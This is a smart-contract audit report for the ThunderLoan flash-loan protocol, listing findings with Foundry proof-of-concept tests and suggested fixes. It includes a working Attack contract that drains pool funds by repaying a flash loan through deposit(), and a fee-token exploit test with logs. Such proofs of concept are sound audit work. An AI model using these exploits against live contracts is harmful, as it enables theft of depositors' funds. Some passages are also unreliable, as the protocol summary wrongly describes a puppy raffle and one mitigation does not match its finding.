# ThunderLoan Audit Report

Version 0.1

Riiz0

**Date: June 6, 2024**

# ThunderLoan Audit Report

Prepared by:

- Shawn Rizo

Lead Auditor(s):

- Shawn Rizo

Assisting Auditors:

- Cyfin CodeHawks

# Table of Contents

# About Shawn Rizo

I am a seasoned Smart Contract Engineer, adept at utilizing agile methodologies to deliver comprehensive insights and high-level overviews of blockchain projects. Specialized in developing and deploying decentralized applications (DApps) on Ethereum and EVM compatible chains. Expertise in Solidity, and security auditing, leading to a significant reduction in vulnerabilities through the strategic use of Foundry and Security Tools like Slither and Aderyn.

# Disclaimer

The Riiz0 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

# Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

## Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
```

```
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

# Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

## Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

# Executive Summary

## Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 4 |
| Low | 4 |
| Info | 5 |
| Gas | 3 |
| Total | 19 |

# Findings

## High

### [H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

**Description:** `ThunderLoan.sol` has two variables in the following order: However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts.

**Impact:** After upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s_currentlyFlashLoaning mapping will start on the wrong storage slot.

**Proof of Concept:**

▶ Code

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

**Recommended Mitigation:** Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

### [H-2] Unnecessary `updateExchangeRate` in `deposit` function incorrectly updates `exchangeRate` preventing withdraws and unfairly changing reward distribution

**Description:** In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees! This update should be removed.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        //@audit-high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

**Impact:** There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting may more or less than deserved.

**Proof of Concept:**

1. LP Deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

▶ Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testReedemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
```

```
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, 
amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

**Recommended Mitigation:** Remove the incorrectly updated exchange rate linees from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external 
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * 
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        //@audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

### [H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

**Description:** The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint AssetToken and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

**Impact:** All the funds of the AssetContract can be stolen. An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

**Proof of Concept:** To execute the test successfully, please complete the following steps:

1. Place the attack.sol file within the mocks folder.
2. Import the contract in ThunderLoanTest.t.sol.

3. Add testattack() function in ThunderLoanTest.t.sol.
4. Change the setUp() function in ThunderLoanTest.t.sol.

▶ Proof of Code

```
import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
"");

attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();


assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))),
DEPOSIT_AMOUNT);
    }
```

```
function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new
MockFlashLoanReceiver(address(thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver } from
"../../src/interfaces/IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
```

```
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;
    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

        if (initiator != s_owner) {
            revert MockFlashLoanReceiver__onlyOwner();
        }

        if (msg.sender != s_thunderLoan) {
            revert MockFlashLoanReceiver__onlyThunderLoan();
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
        s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
        return true;
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }
```

```
    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }

    function sendAssetToken(address assetToken) public {

        IERC20(assetToken).transfer(msg.sender,
IERC20(assetToken).balanceOf(address(this)));
    }
}
```

Notice that the `assetLt()` checks whether the balance of the `AssetToken` contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

**Recommended Mitigation:** Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the block.number in a variable in `flashloan()` and checking it in `deposit()`.

## Medium

### [M-1] Centralization risk for trusted owners

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

*Instances (2)*:

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

**Recommended Mitigation:** Instead of Owner contracts use AccessControls, or combine Owner access with MultiSig Wallet to confirm and deny transactions - In this case upgrading contracts.

### [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

**Description:** The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

**Impact:** Liquidity providers will drastically reduced fees for providing liquidity.

**Proof of Concept:**

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

```
3. The user then repays the first flash loan, and then repays the second
flash loan.
```

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

**Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

### [M-3] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

**Description:** If the 'ThunderLoan::setAllowedToken' function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the 'ThunderLoan::redeem' function and thus have them locked away without access.

**Impact:** If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the 'ThunderLoan::redeem' function.

```
     function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
IERC20Metadata(address(token)).name());
```

\```javascript string memory symbol = string.concat("tl", IERC20Metadata(address(token)).symbol()); AssetToken assetToken = new AssetToken(address(this), token, name, symbol); s_tokenToAssetToken[token] = assetToken; emit AllowedTokenSet(token, assetToken, allowed); return assetToken; } else { AssetToken assetToken = s_tokenToAssetToken[token]; @> delete s_tokenToAssetToken[token]; emit AllowedTokenSet(token, assetToken, allowed); return assetToken; } } ```

```
     function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) /
assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken,
amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

**Proof of Concept:** The below test passes with a ThunderLoan__NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
     function testCannotRedeemNonAllowedTokenAfterDepositingToken() public
{
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);


vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowed
Token.selector, address(tokenA)));
```

```
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT_LESS);
        vm.stopPrank();
    }
```

**Recommended Mitigation:** It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
    function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl",
IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token,
name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
+           uint256 hasTokenBalance =
IERC20(token).balanceOf(address(assetToken));
+           if (hasTokenBalance == 0) {
                delete s_tokenToAssetToken[token];
                emit AllowedTokenSet(token, assetToken, allowed);
+           }
            return assetToken;
        }
    }
```

### [M-4] `ThunderLoan:: deposit` is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Looses there deposit and yield

**Description:** `deposit` function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be.

**Impact:** Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.

`Deposit` function mint the tokens that user has inputted in the params and mint the same amount of Asset token.

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
   @>   uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

As you can see in highlighted line, It calculates the token amount based on `amount` rather actual token amount received by the contract. If any fees token is supplied to contract, then `redeem` function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever.

**Proof of Concept:** Token like `STA` and `PAXG` has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of `STA` here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount.

```
 uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
```

`Alice` initiate a transaction to call `deposit` with 1 million `STA`. `Attacker` notice the transaction and `deposit` 2 million `STA` before him. So contract will be receive 990,000 tokens from `Alice` and 198000 tokens from attacker.

Now attacker call withdraw the `STA` token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him.

Here is given example in foundry where we set asset token which has 1% fees. in `BaseTest.t.sol` we import custom erc20 for underlying token creation which has 1% fees on transfers.

`CUSTOM MOCK TOKEN`

▶ Proof of Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
```

```
import {ERC20} from "../token/ERC20/ERC20.sol";

contract CustomERC20Mock is ERC20 {
    constructor() ERC20("ERC20Mock", "E20M") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal
override {
        _burn(from, amount/100);
        super._transfer(from, to, amount - (amount/100));
    }
}
```

updated `BaseTest.t.sol` file

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

  import { Test, console } from "forge-std/Test.sol";
  import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
  import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
  import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
  import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
+ import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
  import { ERC1967Proxy } from
"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
-   ERC20Mock tokenA;
+   CustomERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();
```

```
        weth = new ERC20Mock();
-       tokenA = new ERC20Mock();
+       tokenA = new CustomERC20Mock();

        mockPoolFactory.createPool(address(tokenA));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console2 } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from
"../mocks/MockFlashLoanReceiver.sol";

contract ThunderLoanTest is BaseTest {
    uint256 constant ALICE_AMOUNT = 1e7 * 1e18;
    uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18;
    address attacker = address(789);
    address alice = address(0x123);
    MockFlashLoanReceiver mockFlashLoanReceiver;

    function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new
MockFlashLoanReceiver(address(thunderLoan));
    }

function testAttackerGettingMoreTokens() public setAllowedToken {
        tokenA.mint(attacker, ATTACKER_AMOUNT);
        tokenA.mint(alice, ALICE_AMOUNT);
        vm.startPrank(attacker);
        tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
        /// First deposit in contract by attacker
        thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
        vm.stopPrank();
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        uint256 contractBalanceAfterAttackerDeposit =
tokenA.balanceOf(address(asset));
        uint256 difference = ATTACKER_AMOUNT -
contractBalanceAfterAttackerDeposit;
        uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
```

```
        console2.log(contractBalanceAfterAttackerDeposit, "Contract balance of token A after first deposit");
        console2.log(attackerAssetTokenBalance, "attacker balance of asset token");
        console2.log(difference, "difference b/w actual amount and deposited amount");


        vm.startPrank(alice);
        tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
        thunderLoan.deposit(tokenA, ALICE_AMOUNT);
        vm.stopPrank();
        uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(asset)) - contractBalanceAfterAttackerDeposit;
        console2.log(ALICE_AMOUNT, "Actual input by alice");
        console2.log(actualAmountDepositedByUser, "Actual balance Deposited by Alice");
        console2.log(tokenA.balanceOf(address(asset)), "thunderloan balance of Token A after Alice deposit");
        console2.log(asset.balanceOf(alice), "Alice Asset Token Balance");

        vm.startPrank(attacker);
        thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
        console2.log(tokenA.balanceOf(attacker), "AttackerBalance"); // how much token he claimed
        vm.stopPrank();

        /// if alice try to claim her underlying tokens now, tx will fail as contract
        /// don't have enough funds

        vm.startPrank(alice);
        uint256 amountToClaim = asset.balanceOf(alice);
        vm.expectRevert();
        thunderLoan.redeem(tokenA, amountToClaim);
        vm.stopPrank();

    }
}
```

run the following command in terminal `forge test --match-test testAttackerGettingMoreTokens() -vv` it will return something like this-

```
[⠊] Compiling...
[⠒] Compiling 1 files with 0.8.20
[⠢] Solc 0.8.20 finished in 1.94s
Compiler run successful!
```

```
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testAttackerGettingMoreTokens() (gas: 1265386)
Logs:
  198000000000000000000000000 Contract balance of token A after first
deposit
  200000000000000000000000000 attacker balance of asset token
  2000000000000000000000000 difference b/w actual amount and deposited
amount
  100000000000000000000000000 Actual input by alice
  99000000000000000000000000 Actual balance Deposited by Alice
  297000000000000000000000000 thunderloan balance of Token A after Alice
deposit
  99700897308075772681954l3 Alice Asset Token Balance
  198792792197604790416000000 AttackerBalance
```

**Recommended Mitigation:** Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

```
uint256 amountBefore = IERC20(token).balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(assetToken), amount);
uint256 amountAfter = IERC20(token).balanceOf(address(this));
uint256 amount = AmountAfter - amountBefore;
```

deposit function can be written like this.

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
+       uint256 amountBefore = IERC20(token).balanceOf(address(this));
+       token.safeTransferFrom(msg.sender, address(assetToken), amount);
+       uint256 amountAfter = IERC20(token).balanceOf(address(this));
+       uint256 amount = AmountAfter - amountBefore;
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

## Low

### [L-1] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

*Instances (6)*:

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {

138:     function initialize(address tswapAddress) external initializer {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

### [L-2] Missing critial event emissions

**Description:** When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

**Recommended Mitigation:** Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

### [L-3] getCalculatedFee can be 0

**Description:** getCalculatedFee can be as low as 0

**Impact:** Low as this amount is really small.

**Proof of Concept:** Any value up to 333 for "amount" can result in 0 fee based on calculation

```
    function testFuzzGetCalculatedFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee ,0);

        console.log(calculatedFee);
    }
```

**Recommended Mitigation:** A minimum fee can be used to offset the calculation, though it is not that important.

### [L-4] Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

**Description:** In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee() function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations.

**Impact:** This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

**Proof of Concept:** The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

**Recommended Mitigation:** To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.

# Informational

## [I-1] Empty Function Body - Consider commenting why

*Instances (1)*:

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

## [I-2] Poor Test Coverage

```
Running Tests...
| File                                             | % Lines          | %
Statements      | % Branches      | % Funcs         |
|--------------------------------------------------|------------------|--------
----------|----------------|----------------|
| script/DeployThunderLoan.s.sol                   | 0.00% (0/4)      | 0.00%
(0/5)      | 100.00% (0/0)  | 0.00% (0/1)    |
| src/protocol/AssetToken.sol                      | 76.47% (13/17)   | 80.95%
(17/21)    | 50.00% (3/6)   | 77.78% (7/9)   |
| src/protocol/OracleUpgradeable.sol               | 100.00% (6/6)    | 100.00%
(9/9)     | 100.00% (0/0)  | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol                     | 60.87% (42/69)   | 65.52%
(57/87)    | 40.00% (8/20)  | 52.94% (9/17)  |
| src/upgradedProtocol/ThunderLoanUpgraded.sol | 0.00% (0/67)     | 0.00%
(0/85)     | 0.00% (0/20)   | 0.00% (0/16)   |
| test/mocks/BuffMockPoolFactory.sol               | 0.00% (0/12)     | 0.00%
(0/17)     | 0.00% (0/2)    | 0.00% (0/4)    |
| test/mocks/BuffMockTSwap.sol                     | 0.00% (0/72)     | 0.00%
(0/97)     | 0.00% (0/24)   | 0.00% (0/22)   |
| test/mocks/ERC20Mock.sol                         | 50.00% (1/2)     | 50.00%
(1/2)      | 100.00% (0/0)  | 33.33% (1/3)   |
| test/mocks/MockFlashLoanReceiver.sol             | 64.29% (9/14)    | 64.29%
(9/14)     | 50.00% (2/4)   | 75.00% (3/4)   |
| test/mocks/MockPoolFactory.sol                   | 85.71% (6/7)     | 90.00%
(9/10)     | 50.00% (1/2)   | 100.00% (2/2)  |
| test/mocks/MockTSwapPool.sol                     | 100.00% (1/1)    | 100.00%
(1/1)     | 100.00% (0/0)  | 100.00% (1/1)  |
| test/unit/BaseTest.t.sol                         | 100.00% (8/8)    | 100.00%
(8/8)     | 100.00% (0/0)  | 100.00% (1/1)  |
| Total                                            | 30.82% (86/279) | 31.18%
(111/356) | 17.95% (14/78) | 32.94% (28/85) |
```

### [I-3] Not using `__gap[50]` for future storage collision mitigation

### [I-4] Different decimals may cause confusion

**Description:** example- AssetToken has 18, but asset has 6.

### [I-5] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

## Gas

### [GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

*Instances (1)*:

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
s_currentlyFlashLoaning;
```

### [GAS-2] Using `private` rather than `public` for constants, saves gas

